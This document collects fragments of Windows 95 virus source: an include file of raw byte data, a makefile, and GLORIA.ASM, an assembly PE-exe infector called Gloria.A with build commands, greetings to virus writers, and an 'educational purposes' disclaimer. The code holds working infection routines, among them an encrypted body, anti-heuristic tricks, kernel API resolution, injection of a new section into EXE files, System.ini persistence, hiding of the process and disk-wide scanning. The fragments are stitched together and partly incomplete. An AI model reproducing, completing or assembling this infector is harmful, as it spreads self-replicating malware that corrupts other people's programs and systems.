DB 000H,05FH,048H,003H,016H,009H,004H,055H,048H,023H,000H,033H,000H,02EH,002H
DB 050H,023H,000H,028H,000H,039H,000H,023H,002H,032H,03AH,002H,062H,041H,000H
DB 052H,000H,051H,000H,055H,000H,049H,000H,0A8H,00AH,056H,000H,04FH,0B2H,046H
DB 020H,0B2H,05AH,045H,022H,09DH,050H,002H,018H,04FH,002H,080H,052H,000H,041H
DB 000H,05AH,055H,04DH,002H,004H,053H,00FH,02CH,004H,02CH,043H,002H,034H,04DH
DB 002H,03EH,04EH,002H,00EH,05CH,002H,028H,049H,002H,056H,052H,055H,0B5H,002H
DB 014H,053H,002H,004H,046H,0A2H,026H,020H,002H,018H,048H,002H,03EH,052H,002H
DB 0BAH,044H,002H,042H,0A5H,0B8H,05CH,002H,06CH,02AH,0BAH,042H,002H,016H,033H
DB 002H,090H,032H,002H,092H,044H,000H,04CH,002H,002H,023H,002H,016H,022H,0D0H
DB 0C2H,058H,061H,0D2H,058H,0A2H,08AH,020H,0A2H,0E2H,061H,000H,073H,0A2H,066H
DB 063H,002H,08EH,046H,0A2H,068H,072H,002H,008H,041H,000H,070H,002H,002H,098H
DB 0FAH,06CH,000H,05FH,002H,02CH,003H,042H,05FH,000H,005H,0A8H,04AH,002H,060H
DB 043H,002H,070H,01EH,079H,00FH,00FH,008H,010H,0A2H,080H,0BFH,0EAH,032H,067H
DB 033H,063H,005H,004H,008H,019H,00FH,009H,00AH,010H,01BH,002H,00CH,07AH,0B6H
DB 0ADH,064H,002H,098H,072H,002H,010H,00FH,003H,00FH,010H,0FBH,0E5H,00FH,010H
DB 007H,010H,008H,012H,0E2H,005H,07AH,005H,006H,007H,018H,00FH,008H,00BH,010H
DB 049H,002H,00DH,084H,002H,002H,005H,002H,003H,00DH,0F6H,078H,0EFH,077H,000H
DB 06DH,002H,014H,00FH,003H,00FH,010H,00BH,010H,014H,00FH,080H,00BH,01DH,00FH
DB 00CH,006H,010H,054H,002H,008H,0A3H,0D8H,002H,007H,05FH,07FH,01FH,076H,003H
DB 013H,00FH,004H,00FH,010H,00CH,010H,010H,0D2H,080H,006H,002H,012H,063H,00FH
DB 013H,002H,002H,00BH,00FH,003H,00FH,010H,022H,066H,000H,044H,0D5H,000H,052H
DB 036H,027H,069H,000H,063H,0D2H,082H,074H,012H,086H,06FH,0D2H,0EAH,073H,00CH
DB 02CH,020H,03FH,03AH,022H,0F2H,0FDH,005H,083H,082H,035H,03FH,03AH,002H,018H
DB 083H,08CH,03FH,03AH,039H,036H,003H,00AH,037H,03AH,038H,022H,0A8H,030H,000H
DB 023H,000H,034H,023H,0A2H,002H,036H,03BH,03EH,072H,000H,071H,022H,0B2H,069H
DB 000H,076H,022H,0A2H,073H,000H,020H,0F2H,094H,065H,002H,006H,0EAH,045H,050H
DB 0E4H,01CH,067H,002H,006H,061H,012H,09CH,023H,0C8H,033H,01EH,003H,0B6H,072H
DB 004H,028H,06FH,000H,066H,052H,0F3H,020H,0ADH,01AH,032H,026H,066H,002H,00AH
DB 003H,018H,065H,032H,01EH,04FH,002H,00CH,066H,002H,0D4H,063H,062H,013H,003H
DB 030H,053H,000H,057H,0ADH,056H,002H,022H,052H,032H,092H,003H,07EH,04FH,032H
DB 024H,042H,002H,082H,04DH,004H,022H,00DH,048H,057H,002H,056H,072H,002H,07CH
DB 020H,00AH,056H,000H,003H,02AH,030H,002H,082H,04FH,000H,062H,000H,06AH,002H
DB 048H,063H,05BH,020H,002H,03AH,069H,002H,010H,072H,0A7H,0FEH,012H,034H,0F3H
DB 0AEH,01BH,02FH,0B8H,000H,04FH,068H,030H,002H,0E4H,033H,002H,0E6H,099H,092H
DB 00BH,00AH,01FH,02EH,013H,024H,009H,004H,017H,02EH,0A7H,01AH,033H,0D6H,013H
DB 02EH,003H,004H,043H,000H,043H,068H,057H,042H,062H,04EH,002H,0CAH,04FH,002H
DB 0D4H,043H,04CH,053H,000H,059H,055H,0EDH,042H,01CH,054H,032H,0B8H,04DH,002H
DB 0FAH,053H,032H,0BCH,044H,002H,0ECH,04CH,002H,010H,003H,03CH,054H,002H,0B2H
DB 003H,0ECH,003H,0F4H,0D5H,005H,043H,08EH,041H,012H,064H,074H,002H,0E4H,06DH
DB 002H,0C2H,017H,0F6H,00BH,0C6H,0E0H,008H,0C6H,041H,000H,046H,000H,035H,054H
DB 0D5H,000H,031H,002H,0C4H,031H,0A2H,03CH,032H,012H,0F4H,042H,012H,014H,035H
DB 042H,06AH,02DH,002H,016H,031H,002H,082H,005H,014H,0AAH,0EDH,043H,052H,004H
DB 044H,002H,01EH,034H,002H,02AH,034H,002H,032H,003H,022H,035H,002H,00CH,007H
DB 0CCH,07DH,012H,06AH,003H,08AH,003H,0C2H,06BH,0A3H,003H,004H,00FH,0C6H,057H
DB 002H,0BEH,05CH,002H,004H,00BH,0C6H,04DH,002H,010H,045H,0AAH,06DH,000H,073H
DB 022H,030H,054H,002H,0ECH,036H,037H,044H,002H,048H,01FH,0B2H,074H,012H,0A0H
DB 009H,028H,020H,000H,005H,068H,023H,00EH,01FH,0B4H,062H,024H,042H,01DH,0B4H
DB 001H,000H,0AAH,056H,0E4H,008H,0EEH,033H,052H,070H,032H,002H,0D4H,044H,002H
DB 0F6H,038H,002H,048H,063H,008H,046H,012H,044H,037H,002H,0DAH,031H,055H,0EBH
DB 002H,0F0H,044H,004H,014H,042H,002H,026H,041H,002H,0DCH,02DH,002H,004H,003H
DB 0F0H,035H,002H,0F0H,033H,002H,004H,023H,0CCH,005H,0F0H,06FH,0DBH,00FH,0EEH
DB 00FH,0EEH,005H,0EEH,015H,0AEH,050H,012H,0B0H,053H,0C8H,045H,002H,008H,00FH
DB 0F2H,045H,092H,001H,00FH,0F2H,06FH,022H,0D6H,00FH,0F2H,007H,000H,00FH,0F2H
NDOT.INC
DB 02FH,0A6H,00FH,0F2H,000H,000H,0E1H,02EH,045H,00DH,08FH,0E0H,01AH,010H,085H
DB 02EH,002H,000H,056H,060H,08CH,04DH,00BH,0B4H,000H,000H,01CH,001H,027H,0BAH
DB 013H,002H,046H,012H,0E6H,044H,022H,0B6H,034H,055H,0D5H,002H,0ECH,02DH,002H
DB 0DCH,042H,012H,012H,041H,014H,006H,030H,012H,008H,042H,002H,00AH,042H,012H
DB 028H,045H,002H,01AH,025H,0CEH,0AEH,05FH,041H,062H,080H,003H,0FCH,013H,010H
DB 044H,012H,032H,035H,012H,02AH,01FH,006H,015H,006H,07FH,022H,07FH,022H,07BH
DB 022H,04DH,022H,0E6H,043H,0EBH,055H,074H,03AH,079H,002H,04FH,002H,08AH,046H
DB 004H,018H,013H,032H,00DH,00EH,013H,040H,04FH,022H,08AH,037H,022H,02EH,044H
DB 022H,0F4H,04CH,06FH,017H,02FH,02EH,016H,03CH,04BH,01AH,03FH,0E4H,065H,052H
DB 00CH,013H,060H,04CH,042H,018H,02FH,030H,035H,024H,001H,052H,0EEH,003H,000H
DB 004H,050H,0FFH,002H,000H,000H,006H,0A2H,07BH,008H,002H,008H,016H,0D6H,00BH
DB 003H,020H,0B2H,069H,0D6H,062H,053H,08AH,00FH,004H,00FH,010H,00FH,010H,03DH
DB 0A8H,005H,010H,000H,074H,04EH,056H,09DH,003H,055H,008H,004H,08DH,09AH,001H
DB 000H,018H,032H,0DEH,068H,002H,09EH,073H,012H,082H,02AH,000H,06FH,002H,0AEH
DB 075H,052H,014H,065H,052H,0B8H,074H,000H,00AH,000H,032H,033H,036H,064H,064H
DB 061H,008H,06FH,032H,031H,039H,092H,024H,02AH,044H,001H,011H,002H,099H,0F3H
DB 04CH,004H,040H,002H,0A9H,000H,0F3H,01AH,005H,064H,001H,0FEH,0FFH,001H,0B3H
DB 0E3H,005H,00CH,00FH,006H,00FH,010H,00FH,010H,002H,0E4H,002H,04DH,00FH,016H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH
DB 0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,01FH,000H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,003H,010H
DB 0A3H,098H,0C6H,077H,092H,0D1H,0D2H,011H,0BCH,0A4H,044H,0BCH,006H,045H,053H
DB 082H,093H,003H,014H,023H,078H,003H,008H,060H,022H,036H,080H,002H,004H,043H
DB 01CH,01DH,000H,0FFH,000H,020H,000H,000H,028H,000H,000H,004H,004H,057H,06FH
DB 072H,064H,0B5H,06BH,010H,000H,003H,004H,056H,000H,080H,042H,041H,0F7H,0E2H
DB 010H,000H,005H,004H,057H,069H,06EH,031H,036H,0C1H,07EH,006H,00BH,010H,000H
DB 033H,032H,007H,07FH,003H,01FH,04DH,061H,063H,0B3H,0B2H,010H,000H,008H,004H
DB 050H,072H,001H,000H,0C2H,054H,074H,06FH,031H,03AH,071H,010H,000H,006H,004H
DB 073H,074H,064H,06FH,06CH,065H,000H,000H,093H,060H,010H,000H,007H,000H,04DH
DB 053H,046H,06FH,072H,06DH,073H,043H,00FH,010H,028H,010H,000H,00CH,004H,0D2H
DB 07FH,073H,0D6H,07EH,074H,03CH,09EH,010H,000H,009H,002H,07CH,0FFH,003H,004H
DB 080H,004H,000H,05FH,045H,076H,061H,06CH,075H,0D2H,02DH,018H,0D9H,003H,040H
DB 04FH,066H,066H,069H,063H,000H,043H,065H,015H,075H,010H,000H,00FH,004H,054H
DB 0D6H,047H,004H,062H,063H,074H,081H,045H,002H,055H,004H,084H,045H,04DH,0F3H
DB 0C2H,099H,06FH,031H,0D4H,012H,003H,07CH,0D3H,045H,045H,0D2H,044H,0ECH,09CH
DB 010H,002H,0BCH,065H,001H,0E3H,0D2H,042H,051H,05BH,010H,000H,00BH,000H,041H
DB 0D6H,03BH,0D2H,03AH,0A5H,02AH,010H,0F2H,0AEH,0D2H,03FH,0D2H,092H,009H,018H
DB 0D6H,03FH,0F4H,0F6H,002H,05EH,000H,045H,06EH,061H,062H,06CH,065H,0D2H,040H
DB 0D5H,03FH,0EAH,0F3H,010H,019H,000H,032H,061H,077H,064H,002H,02AH,003H,018H
DB 064H,0FCH,0D3H,010H,000H,001H,000H,069H,060H,010H,010H,038H,00DH,000H,00EH
DB 000H,0D2H,045H,0D2H,044H,007H,090H,071H,0ACH,002H,0BFH,000H,0D2H,04FH,003H
DB 0FAH,063H,074H,04FH,068H,00BH,094H,002H,0E0H,002H,00FH,043H,0D4H,053H,065H
DB 06EH,074H,073H,00AH,027H,012H,02DH,000H,0D4H,058H,030H,076H,003H,057H,0C8H
DB 024H,043H,06FH,064H,0D6H,052H,0E1H,01CH,003H,01BH,0D4H,056H,0BAH,0CEH,002H
DB 0F1H,000H,049H,0D2H,088H,072H,074H,004H,06CH,069H,0C5H,002H,0C1H,000H,053H
DB 061H,076H,065H,092H,0D0H,003H,0D9H,017H,02AH,06AH,002H,086H,032H,0E5H,001H
DB 0F6H,0BBH,001H,012H,0BDH,0E2H,095H,004H,042H,03AH,047H,08EH,013H,0C4H,005H
DB 004H,0A2H,01FH,002H,018H,002H,03FH,0B4H,005H,01DH,006H,006H,00CH,002H,01FH
DB 0A0H,0B6H,0FFH,0FFH,00EH,002H,003H,002H,02AH,011H,002H,02AH,00CH,002H,008H
DB 003H,01BH,00CH,002H,0DEH,0D3H,046H,012H,024H,00AH,003H,003H,00FH,005H,0D5H
DB 0A4H,001H,080H,0B2H,080H,001H,000H,0D2H,079H,012H,011H,030H,02AH,002H,002H
DB 090H,009H,000H,000H,000H,070H,014H,006H,048H,003H,000H,082H,002H,000H,064H
DB 0E4H,004H,004H,000H,00FH,038H,000H,000H,01CH,000H,017H,01DH,0F2H,01BH,022H
DB 010H,063H,074H,005H,051H,000H,048H,000H,000H,040H,002H,000H,000H,00AH,006H
DB 002H,00AH,03DH,0ADH,002H,00AH,007H,002H,07CH,001H,014H,008H,006H,012H,080H
DB 000H,009H,002H,012H,080H,019H,0A2H,0DDH,0F2H,0CBH,00CH,002H,04AH,012H,03CH
DB 002H,00AH,016H,028H,02CH,000H,001H,039H,022H,036H,010H,022H,037H,03EH,002H
DB 019H,073H,092H,0EAH,092H,09BH,06FH,0C2H,0D5H,065H,050H,084H,082H,000H,00DH
DB 052H,0D2H,025H,05CH,000H,003H,062H,0BCH,047H,0F5H,0A6H,0B0H,034H,033H,030H
DB 02DH,022H,076H,000H,002H,004H,043H,000H,00AH,003H,002H,00EH,001H,012H,0F4H
DB 0A5H,023H,000H,032H,02EH,030H,023H,000H,010H,030H,023H,043H,03AH,000H,05CH
NDOT.INC
DB 057H,049H,04EH,044H,04FH,057H,092H,036H,053H,059H,053H,008H,000H,054H,045H
DB 04DH,082H,077H,054H,044H,04FH,04CH,045H,032H,02EH,010H,054H,04CH,042H,023H
DB 094H,000H,000H,008H,0F2H,07AH,000H,0F2H,08BH,061H,074H,022H,01DH,023H,000H
DB 02FH,000H,001H,016H,000H,007H,040H,020H,080H,002H,04DH,053H,000H,046H,023H
DB 0ADH,03EH,000H,00EH,021H,001H,006H,084H,09BH,045H,072H,004H,000H,000H,080H
DB 083H,09BH,02FH,000H,07AH,080H,009H,006H,070H,080H,001H,001H,046H,041H,046H
DB 000H,000H,035H,031H,034H,000H,031H,036H,032H,02DH,042H,038H,035H,033H,010H
DB 02DH,031H,031H,00AH,000H,044H,0F2H,04CH,039H,092H,01BH,034H,034H,034H,035H
DB 035H,033H,035H,00EH,034H,001H,048H,017H,000H,000H,046H,004H,033H,02EH,054H
DB 057H,044H,000H,023H,04DH,069H,063H,072H,06FH,073H,06FH,000H,000H,028H,066H
DB 074H,020H,002H,03DH,020H,000H,060H,020H,04FH,002H,062H,001H,0B0H,020H,000H
DB 001H,04CH,069H,062H,072H,061H,01CH,072H,079H,062H,0CBH,001H,01EH,050H,030H
DB 000H,090H,00DH,008H,000H,000H,013H,072H,002H,05FH,050H,033H,043H,032H,044H
DB 000H,044H,046H,038H,032H,02DH,043H,000H,000H,046H,045H,032H,037H,005H,050H
DB 041H,034H,01DH,050H,080H,04AH,050H,05CH,090H,056H,000H,00AH,042H,045H,05CH
DB 085H,028H,045H,058H,0A7H,028H,078H,0DCH,000H,077H,0DDH,083H,081H,095H,043H
DB 004H,002H,078H,04FH,033H,038H,044H,078H,082H,04FH,040H,075H,0B4H,015H,042H
DB 078H,02AH,098H,0C0H,02BH,080H,040H,08EH,0C4H,02CH,032H,000H,02CH,044H,0A2H
DB 0A5H,043H,02DH,035H,042H,046H,041H,092H,0D6H,030H,000H,000H,031H,042H,02DH
DB 042H,044H,045H,052H,035H,040H,078H,041H,041H,040H,077H,034H,0C0H,000H,000H
DB 002H,032H,001H,008H,055H,041H,052H,051H,055H,049H,056H,04FH,000H,053H,020H
DB 044H,000H,020H,045H,020H,050H,052H,04FH,000H,047H,052H,041H,04DH,041H,053H
DB 05CH,072H,0A3H,043H,052H,000H,000H,04FH,053H,04FH,046H,054H,000H,020H,04FH
DB 046H,046H,049H,043H,045H,05CH,001H,084H,000H,000H,001H,04DH,053H,04FH,039H
DB 037H,02EH,044H,00CH,04CH,04CH,048H,05CH,083H,025H,020H,000H,000H,038H,02EH
DB 030H,045H,092H,05CH,00FH,082H,0BFH,001H,000H,013H,0C2H,001H,08DH,004H,010H
DB 004H,09AH,019H,042H,0A8H,034H,0EFH,000H,06FH,063H,075H,06DH,032H,011H,01AH
DB 011H,04EH,004H,032H,000H,004H,000H,018H,040H,033H,054H,000H,068H,011H,040H
DB 038H,062H,0DAH,080H,08FH,063H,000H,075H,008H,002H,051H,000H,090H,062H,0D9H
DB 040H,0B6H,01CH,0C0H,006H,062H,0F4H,048H,042H,001H,031H,0C2H,0C4H,000H,000H
DB 0EBH,000H,0DCH,01EH,08BH,042H,002H,001H,005H,02CH,042H,01AH,08FH,09AH,022H
DB 042H,000H,009H,008H,00AH,02BH,042H,001H,010H,042H,001H,025H,08AH,01AH,0E1H
DB 02FH,0A2H,03EH,000H,003H,000H,0B0H,0C6H,0FEH,0FFH,009H,000H,0D3H,020H,007H
DB 01CH,001H,002H,009H,021H,002H,004H,004H,003H,010H,000H,000H,004H,08CH,006H
DB 08BH,07FH,000H,002H,069H,07FH,05DH,002H,084H,023H,075H,002H,02EH,00FH,049H
DB 006H,049H,049H,044H,03DH,022H,07BH,037H,037H,043H,036H,000H,086H,039H,038H
DB 041H,046H,02DH,044H,031H,039H,032H,013H,0F9H,022H,004H,043H,041H,034H,02DH
DB 016H,0F9H,084H,062H,034H,030H,002H,001H,07DH,022H,00DH,00AH,037H,0BAH,03DH
DB 00BH,076H,02FH,026H,048H,002H,01FH,004H,003H,00DH,080H,003H,00AH,04EH,061H
DB 06DH,065H,03DH,022H,037H,030H,046H,0DDH,002H,03AH,048H,065H,06CH,070H,043H
DB 06FH,0A0H,000H,06EH,074H,065H,078H,074H,003H,072H,030H,002H,013H,043H,04DH
DB 047H,03DH,022H,042H,038H,042H,080H,001H,041H,032H,037H,035H,044H,032H,042H
DB 00BH,004H,002H,01EH,044H,050H,042H,03DH,022H,037H,030H,000H,003H,037H,032H
DB 045H,046H,031H,030H,046H,030H,005H,004H,002H,018H,047H,043H,03DH,022H,032H
DB 038H,000H,009H,032H,041H,042H,037H,043H,038H,042H,038H,003H,004H,033H,037H
DB 002H,017H,00DH,00AH,05BH,048H,000H,000H,06FH,073H,074H,020H,045H,078H,074H
DB 065H,06EH,064H,065H,072H,020H,049H,06EH,066H,010H,000H,06FH,05DH,00DH,00AH
DB 008H,09CH,031H,03DH,07BH,033H,038H,033H,032H,044H,036H,034H,030H,009H,000H
DB 022H,081H,039H,030H,002H,0E6H,043H,046H,02DH,038H,045H,034H,033H,02DH,030H
DB 030H,041H,030H,000H,014H,043H,039H,031H,031H,030H,030H,035H,041H,07DH,03BH
DB 022H,08EH,03BH,008H,036H,030H,00DH,00AH,003H,083H,002H,05AH,062H,038H,06BH
DB 073H,070H,061H,063H,065H,002H,051H,00BH,0FAH,03DH,032H,037H,02CH,020H,003H
DB 004H,000H,0E0H,036H,032H,033H,02CH,020H,033H,037H,035H,02CH,020H,05AH,00DH
DB 00AH,01FH,0CEH,012H,07CH,004H,003H,0A3H,091H,01FH,0CEH,003H,015H,001H,000H
DB 001H,012H,0E2H,003H,0E2H,0FDH,043H,0B0H,006H,009H,002H,003H,015H,000H,0C0H
DB 004H,006H,018H,044H,000H,046H,01DH,002H,008H,017H,073H,06FH,020H,064H,06FH
DB 020H,036H,074H,066H,074H,020H,002H,093H,064H,0BCH,02AH,020H,000H,002H,038H
DB 062H,089H,003H,00CH,002H,027H,000H,022H,00EH,000H,003H,00CH,02EH,002H,00DH
DB 075H,023H,09BH,02EH,038H,0E0H,0FFH,000H,0F4H,039H,0B2H,071H,002H,046H,008H
DB 003H,00FH,09DH,056H,02AH,003H,07EH,00FH,004H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,0BFH,082H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,005H,010H,001H,0B2H,0E6H,06FH,0A2H,046H,070H,000H,04FH,000H,062H,0E2H
NDOT.INC
DB 0E8H,0EFH,0D7H,008H,0EAH,00FH,009H,00FH,010H,006H,010H,012H,0B2H,012H,005H
DB 04AH,005H,006H,006H,017H,00FH,007H,00CH,010H,05BH,002H,00EH,06FH,002H,004H
DB 00FH,003H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,007H,010H,005H,07AH,005H
DB 006H,007H,014H,00FH,008H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00BH,010H,005H,07AH,005H,006H,0FFH,01FH,00BH,018H,00FH,00CH,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,007H,010H,005H,07AH,005H,006H,007H,014H
DB 00FH,008H,00FH,010H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
MAKEFILE
NAME = COKE
OBJS = $(NAME).obj
DEF = $(NAME).def
!if $d(DEBUG)
TASMDEBUG=/zi /m /l
LINKDEBUG=/v
!else
TASMDEBUG=/m /l
LINKDEBUG=
!endif
!if $d(MAKEDIR)
IMPORT=$(MAKEDIR)\..\lib\import32
!else
IMPORT=import32
!endif
.asm.obj:
tasm32 $(TASMDEBUG) /ml $&.asm
This is a direct action Pe-exe infector. Will infect files under Windows 95 (I don't know if works on NT or Win
2000) with extension *.EXE. After running, will modifie System.ini in Windows directory and Install a server
that scans for files in all fixed disks.
;
; Virus: Gloria.A
; Size: 3440 bytes
; Author: N.B.K. <"nbk@programador.mailbr.com.br">
;
;
;
; This is a direct action Pe-exe infector. Will infect files
; under Windows 95 (I don't know if works on NT or Win 2000)
; with extension *.EXE. After running, will modifie System.ini
; in Windows directory and Install a server that scans for
; files in all fixed disks.
;
; Greetz:
;
; Lord Julus ( good work in virus list )
; Vecna ( Thanx for help me )
;
; And all Vx writer in "#vir" / "#virus" channels.
;
; This code is only for educational purposes.
; Don't assembly it !!!.
;
;
; Know bugs: - Error with Winzip self-extract files
;
; [ This is my first virus :-) ].
;
;
; tasm32 -ml -m gloria.asm
; tlink32 -Tpe -aa -c gloria,,,import32.lib
; pewrsec gloria.exe
.386p
.model flat, stdcall
locals
jumps
include my_own.inc
Gloria: pushad
xor ebx,ebx
db 68h
replace_heur dd ofs anti_heuristic
push dword ptr fs:[ebx]
mov dword ptr fs:[ebx],esp
int 03h
db 0E9h
; restore errors
db 0BFh
replace_addr dd ofs dummy
; code lenght
mov ecx,virus_crypt
xor eax,96291273h
key_dword2 equ $ - 4
not eax
mov dword ptr [edi],eax
add edi,4
loop loop_decrypt
mov eax,0BFF70000h
mov eax,077F00000h
mov eax,077e00000h
call my_GetProc
jc unknow_os
in al,40h
mov cl,al
; and fix it
inc eax
loop _scan
call reset_var
xor al,al
mov byte ptr [ebp+files_infect],al
call infect_one
; Install checker
call check_install_net
jmp Gloria_exit
GLORIA.ASM
infect_one: pushad
cld
_@@2: lodsb
or al,al
jnz _@@2
sub esi,1
xchg esi,edi
movsd
movsd
xor ecx,ecx
sub esi,6
xchg esi,edi
mov ecx,260
rep movsb
jmp infect_loop@
std
_@2@: lodsb
cmp al,"\"
jne _@2@
cld
add esi,2
xchg esi,edi
mov ecx,260
rep movsb
_@_1: lodsb
or al,al
jnz _@_1
std
_@_2: lodsb
cmp al,"\"
jne _@_2
cld
add esi,2
mov edi,esi
call chk_fl_name
jc check_how
push 80h
push esi
call dword ptr [ebp+SetFileAttributesA]
cmp eax,1000h
ja good_size
jmp attr_res
; check PE header
call check_cod
jc unmap_attr
; close file
call open_mapp
GLORIA.ASM
or eax,eax
jz attr_res
call process_file
; Unmap it
or eax,eax
jz close_find
jmp infect_loop
process_file:
; infection routine
; put new section named ".CODE"
; as first section
pushad
mov esi,dword ptr [ebp+mem_addr]
add dword ptr [ebp+peofs],esi
xor ebx,ebx
mov bx,word ptr [edi._nt]
add ebx,18h
add ebx,edi
mov dword ptr [ebp+tableofs],ebx
GLORIA.ASM
xor eax,eax
mov ax,word ptr [edi._objects]
inc word ptr [edi._objects] ; add 1 object
mov ecx,40
xor edx,edx
mul ecx
xor al,al
in al,41h
shr al,1
inc al
mov eax,[edi-5*8+20]
add eax,[edi-5*8+16]
mov ecx,dword ptr [ebp+filealign]
call align_proc
mov [esi._physical_off],eax
GLORIA.ASM
lea esi,[ebp+section_space]
mov edi,dword ptr [ebp+tableofs]
add edi,28h
mov ecx,dword ptr [ebp+all_sec_size]
rep movsb
pop edi
add edi,[ebp+ofs old_imagebase]
rep movsb
mov ecx,virus_crypt
mov edi,dword ptr [ebp+_real_ofs]
add edi,ofs area_crypt - ofs Gloria
; encrypt code
popad
ret
;************************************************************
; *
; FROM LORD JULUS (c) *
; *
;************************************************************
GLORIA.ASM
my_GetProc:
pushad ;
mov ebx, eax ; save the kernel base
mov edi, eax ;
cmp word ptr [edi], 'ZM' ; is it an exe?
jne notfoundgpa ;
;
mov edi, dword ptr [edi.MZ_lfanew] ;
cmp edi, 1000h ;
jae notfoundgpa ;
;
add edi, ebx ;
cmp word ptr [edi], 'EP' ; is it a PE?
jne notfoundgpa ;
;
add edi, IMAGE_FILE_HEADER_SIZE ; skip file header
;
mov edi, dword ptr [edi.OH_DataDirectory.DE_Export.DD_VirtualAddress]
add edi, ebx ; and get export RVA
;
mov ecx, dword ptr [edi.ED_NumberOfNames] ; save number of names
; to look into
mov esi, dword ptr [edi.ED_AddressOfNames] ; get address of names
add esi, ebx ; align to base rva
;
push edi ; save pointer to export
;
gpa_locate_loop: ;
mov edi, [esi] ; get one name address
add edi, ebx ; and align it
;
push ecx esi ; save counter and addr.
;
mov esi, edx ; compare to GetProcAddress
mov ecx, getprocaddresslen ;
rep cmpsb ;
je foundgpa ;
;
pop esi ecx ; restore them
;
add esi, 4 ; and get next name
loop gpa_locate_loop ;
;
notfoundgpa: ; we didn't find it...
pop edi ;
popad ;
xor eax, eax ; mark failure
stc ;
ret ;
;
foundgpa: ;
pop esi ecx ; ecx = how many did we
pop edi ; check from total, but
sub ecx, dword ptr [edi.ED_NumberOfNames] ; we need the reminder
neg ecx ; of the search
mov eax, dword ptr [edi.ED_AddressOfOrdinals]; get address of ordinals
add eax, ebx ;
shl ecx, 1 ; and look using the index
add eax, ecx ;
xor ecx, ecx ;
mov cx, word ptr [eax] ; take the ordinal
mov eax, dword ptr [edi.ED_AddressOfFunctions]; take address of funcs.
GLORIA.ASM
check_install_net:
pushad
or eax,eax
jz file_in_use
lea edi,[ebp+Netbstat]
xchg esi,edi
mov ecx,0Dh
rep movsb
lea edi,[ebp+System_ini]
xchg esi,edi
mov ecx,0Bh
rep movsb
inc eax
xor ecx,ecx
check_char: cmp byte ptr [eax],22h
je replace_char
inc ecx
inc eax
jmp check_char
mov esi,eax
lea edi,[ebp+ofs from_line]
mov ecx,260
rep movsb
xor ebx,ebx
push ebx
lea eax,[ebp+ofs path_name@@]
push eax
lea eax,[ebp+ofs from_line]
push eax
call dword ptr [ebp+CopyFileA]
or eax,eax
jz file_in_use
cmp eax,-1
je file_in_use
call open_mapp
or eax,eax
jz clsfind
lea edi,[ebp+section_space]
mov ecx,dword ptr [ebp+new_file_size]
rep movsb
mov edi,eax
call unmap
add dword ptr [ebp+new_file_size],0Dh
call open_mapp
rep movsb
cld
lea esi,[ebp+ofs old_value_rva]
lea edi,[ebp+ofs new_value_rva]
movsd
movsd
ret
xor eax,eax
push eax
push eax
push 3
push eax
push 1
push 80000000h or 40000000h
lea eax,[ebp+ofs path_name]
push eax
call dword ptr [ebp+CreateFileA]
xor eax,eax
push eax
push dword ptr [ebp+new_file_size] ; file size
push eax
push 4
push eax
push dword ptr [ebp+handle_new_file]
call dword ptr [ebp+CreateFileMappingA]
xor eax,eax
push dword ptr [ebp+new_file_size] ; file size
GLORIA.ASM
push eax
push eax
push 2
push dword ptr [ebp+handle_mapping]
call dword ptr [ebp+MapViewOfFile]
close_bef_mappin:
push dword ptr [ebp+handle_mapping]
call dword ptr [ebp+CloseHandle]
xor eax,eax
push eax
push eax
push dword ptr [ebp+offset new_file_size]
push dword ptr [ebp+handle_new_file]
call dword ptr [ebp+SetFilePointer]
error_aft_create:
push dword ptr [ebp+handle_new_file]
call dword ptr [ebp+CloseHandle]
error_bef_create:
xor eax,eax
ret
chk_fl_name: pushad
; Process file name
GLORIA.ASM
xor al,al
mov al,"V"
mov ecx,0Ah
repne scasb
je @7@@
sub edi,0Ah
add al,20h
mov ecx,0Ah
repne scasb
je @7@@
popad
clc
ret
@7@@: popad
stc
ret
check_cod: pushad
or al,al
jnz s@@2
; Windows application
; clean file
; check if is PE-exe
GLORIA.ASM
add edi,esi
mov ax,word ptr [edi]
cmp ax,"EP"
jne s@@2
mov eax,"tep."
mov ecx,258h
repne scasd
je s@@2
popad
clc
ret
s@@2: popad
stc
ret
net_mode: push 1
xor eax,eax
push eax
call dword ptr [ebp+RegisterServiceProcess]
push one_minute
call dword ptr [ebp+Sleep]
cmp eax,3
jne inc_drives
; Find directories
call check__drv
push one_minute
call dword ptr [ebp+Sleep]
; No more drives ?
GLORIA.ASM
jmp more_drives
inc eax
jz _check_ret
dec eax
jmp find_a
attr_dir_ok: lea eax,[ebp+ofs file_data.FileName]
cmp byte ptr [eax],"."
je find_a
mov esi,eax
lea edi,[ebp+ofs path_name]
mov ecx,260
rep movsb
xor al,al
mov byte ptr [ebp+files_infect],al
call infect_one
_check_ret: ret
Gloria_exit: or ebp,ebp
jz _saida
old_value_rva dd 00h
old_imagebase dd 00h
new_value_rva dd 00h
new_imagebase dd 00h
popad
xor eax,eax
push eax
call ExitProcess
my_section db ".CODE",0,0,0
stringexe db "\*.EXE",0
stringdir db "*.*",0
drives db "A:\",00h
getprocaddress db "GetProcAddress", 0
getprocaddresslen = $-ofs getprocaddress
api_name:
xFindFirstFileA db "FindFirstFileA",0
xFindNextFileA db "FindNextFileA",0
xDeleteFileA db "DeleteFileA",0
xGetFileSize db "GetFileSize",0
xSetFileAttributesA db "SetFileAttributesA",0
xGetCurrentDirectoryA db "GetCurrentDirectoryA",0
xCreateFileMappingA db "CreateFileMappingA",0
xMapViewOfFile db "MapViewOfFile",00h
xUnmapViewOfFile db "UnmapViewOfFile",00h
xCreateFileA db "CreateFileA",00h
xWinExec db "WinExec",00h
xCloseHandle db "CloseHandle",00h
xFindClose db "FindClose",00h
xGetDriveTypeA db "GetDriveTypeA",00h
xCopyFileA db "CopyFileA",00h
xSleep db "Sleep",00h
xSetCurrentDirectoryA db "SetCurrentDirectoryA",00h
xGetWindowsDirectoryA db "GetWindowsDirectoryA",00h
xGetFileAttributes db "GetFileAttributesA",00h
